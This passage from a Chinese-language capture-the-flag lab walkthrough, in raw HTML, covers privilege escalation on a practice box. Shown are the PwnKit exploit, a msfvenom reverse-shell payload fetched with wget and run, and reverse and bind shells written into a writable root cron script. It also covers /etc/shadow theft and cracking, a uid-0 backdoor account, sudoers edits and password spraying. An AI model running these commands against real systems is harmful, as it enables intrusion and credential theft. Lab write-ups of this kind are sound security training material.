&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机上下载 PoC（或从 Kali 传过去）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;unzip main.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-4034-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;./cve-2021-4034
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315172718751.png"&gt;&lt;/p&gt;
&lt;h5 id="方式二kali-自带-msf-模块需要已有-meterpreter-session"&gt;方式二：Kali 自带 MSF 模块（需要已有 meterpreter session）
&lt;/h5&gt;&lt;p&gt;OSCP考试的时候慎用MSF，先在靶机上建立 meterpreter session：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali 生成 payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p linux/x86/meterpreter/reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.168.169.130 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4444&lt;/span&gt; -f elf &amp;gt; shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali 开监听&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;use multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; payload linux/x86/meterpreter/reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LHOST 172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LPORT &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机下载执行（用已有的 SHayslett shell）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;wget http://172.168.169.128:8000/shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;chmod +x shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;./shell.elf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时 Kali 收到 session，记下 session 编号比如 1，然后：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;use exploit/linux/local/cve_2021_4034
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; SESSION &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; LHOST 172.168.169.130
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 弹出 root meterpreter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;不过这个方法网络问题弹不回来。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理简述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pkexec&lt;/code&gt; 是 polkit 的命令行工具，有 SUID 位。漏洞在于它处理 &lt;code&gt;argv[]&lt;/code&gt; 时存在越界写，可以将环境变量当作参数写入，通过构造恶意 &lt;code&gt;GCONV_PATH&lt;/code&gt; 环境变量加载任意共享库，触发后直接得到 root。整个利用不需要任何现有权限，普通用户直接执行即可提权，是 2022 年最高危的本地提权漏洞之一。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315175632892.png"&gt;&lt;/p&gt;
&lt;p&gt;linpeas的结果丢给AI分析，还有这些提权的点，但是试了不行。&lt;/p&gt;
&lt;h4 id="定时任务提权"&gt;定时任务提权
&lt;/h4&gt;&lt;p&gt;得到低权限的shell后，查看cron任务计划表，获取可用信息：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -alh /etc/*cron*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110241780.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/cron.d/logrotate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在/etc/cron.d中发现一个可疑任务logrotate，查看具体详情：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110604372.png"&gt;&lt;/p&gt;
&lt;p&gt;大冤种Simon给我们贡献了重要的权限节点&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315110641949.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用方式 — 写入反弹 shell：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Kali（172.168.169.128） 开监听：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt -y install rlwrap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rlwrap&lt;/code&gt;工具可以让nc窗口也可以上下键切换命令，比只nc好用。在目标机写入payload：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/172.168.169.128/4444 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;等了超过 5 分钟，发现靶机ping不通Kali。尝试** Bind Shell**&lt;/p&gt;
&lt;p&gt;让靶机监听，Kali 主动连过去：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机写入（让目标监听 5555）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nc -lvnp 5555 -e /bin/bash &amp;amp;&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者用 mkfifo 代替：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;靶机写入：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&amp;gt;&amp;amp;1|nc -lvnp 5555 &amp;gt;/tmp/f&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;等 5 分钟 cron 触发后，&lt;strong&gt;Kali 连接：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc 172.168.169.129 &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;也不行，我直接执行测试nc也弹不回来，猜测靶机可能做了限制。不过问题不大，一个可读可写可执行的root权限文件，能玩的可就太多了。&lt;/p&gt;
&lt;p&gt;按实用性排列：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 直接读 flag（最快）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cp /root/flag.txt /tmp/flag.txt &amp;amp;&amp;amp; chmod 777 /tmp/flag.txt&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cat /tmp/flag.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315121606345.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 新建 root 权限账户&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 先生成密码hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;openssl passwd -1 hacker123
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 写入cron&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;echo &amp;#39;hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash&amp;#39; &amp;gt;&amp;gt; /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;su hacker123
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输入密码 hacker123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122124153.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 给当前用户加 sudo 免密&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;SHayslett ALL=(ALL) NOPASSWD:ALL&amp;#34; &amp;gt;&amp;gt; /etc/sudoers&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo su
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122234827.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. SUID bash&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;chmod u+s /bin/bash&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; bash -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315111639577.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 复制 /etc/shadow 出来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122754284.png"&gt;
只有root用户才可以读shadow的内容。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cp /etc/shadow /tmp/shadow.txt &amp;amp;&amp;amp; chmod 777 /tmp/shadow.txt&amp;#39;&lt;/span&gt; &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class="m"&gt;300&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cat /tmp/shadow.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后尝试离线破解其他用户密码，不过看这个长度基本不可能。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122334435.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$6$&lt;/code&gt; 是 SHA-512crypt，hashcat 模式 1800，单卡慢但 rockyou 覆盖率高，CTF 靶机密码一般都很弱，&lt;strong&gt;值得试&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;先把 hash 单独提取出来：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep -v &lt;span class="s1"&gt;&amp;#39;:\*:\|:!:&amp;#39;&lt;/span&gt; /tmp/shadow.txt &lt;span class="p"&gt;|&lt;/span&gt; awk -F: &lt;span class="s1"&gt;&amp;#39;{print $1&amp;#34;:&amp;#34;$2}&amp;#39;&lt;/span&gt; &amp;gt; /tmp/to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;复制到Kali 上跑：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# hashcat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1800&lt;/span&gt; to_crack.txt /usr/share/wordlists/rockyou.txt --username
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 或 john（自动识别格式）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;sha512crypt --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;john --show to_crack.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122647258.png"&gt;&lt;/p&gt;
&lt;p&gt;你别说，你还真别说，真跑出来了几个。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cookie (JBare)
letmein (MFrei)
qwerty (Drew)
1password (CCeaser)
password11 (SStroud)
red (jamie)
robrob (RNunemaker)
incorrect (LSolum)
passphrase (MBassin)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;完整的爆破时间太长了，我就没有跑完。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315122908979.png"&gt;&lt;/p&gt;
&lt;p&gt;不过作用不大，除了知道密码以外，如果是其他的域环境或者更复杂的环境，这些密码可以用来做喷洒。这批密码的价值在于：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当前靶机&lt;/strong&gt; — 意义有限，因为已有更直接的提权路径（777 cron 脚本）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;真实渗透场景下的价值：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密码喷洒（Password Spraying）&lt;/strong&gt; — 同一套密码在内网横向移动，&lt;code&gt;qwerty&lt;/code&gt;、&lt;code&gt;letmein&lt;/code&gt;、&lt;code&gt;password11&lt;/code&gt; 这种弱密码在企业环境里出现频率极高&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码规律分析&lt;/strong&gt; — 看到 &lt;code&gt;password11&lt;/code&gt;、&lt;code&gt;1password&lt;/code&gt;，说明这个组织的密码策略可能要求数字，可以针对性构造字典&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;凭据复用&lt;/strong&gt; — 同一个人在不同系统上用同一密码是常态，这些账号对应的邮箱/VPN/OA 系统都可以试&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域环境&lt;/strong&gt; — 如果是 AD 环境，拿这批用户名+密码跑 &lt;code&gt;crackmapexec&lt;/code&gt; 或 &lt;code&gt;kerbrute&lt;/code&gt; 喷洒，横向移动到其他机器的概率很高：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这也是为什么渗透测试里 &lt;code&gt;/etc/shadow&lt;/code&gt; 始终是高价值目标，不只是为了当前机器。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. 写 SSH 公钥到 root&lt;/strong&gt;
检查靶机的sshd 配置。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/ssh/sshd_config &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;配置没问题，允许密钥登录&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164006529.png"&gt;&lt;/p&gt;
&lt;p&gt;Kali生成密钥对&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh-keygen -t rsa -f rootkey
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat rootkey.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315164808475.png"&gt;
一定别搞错了密钥和公钥，这里要复制的是sha开头的这个靶机写入cron&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; rootkey.pub
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 复制你的公钥内容，回车后按ctrl D结束保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; /usr/local/sbin/cron-logrotate.sh &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
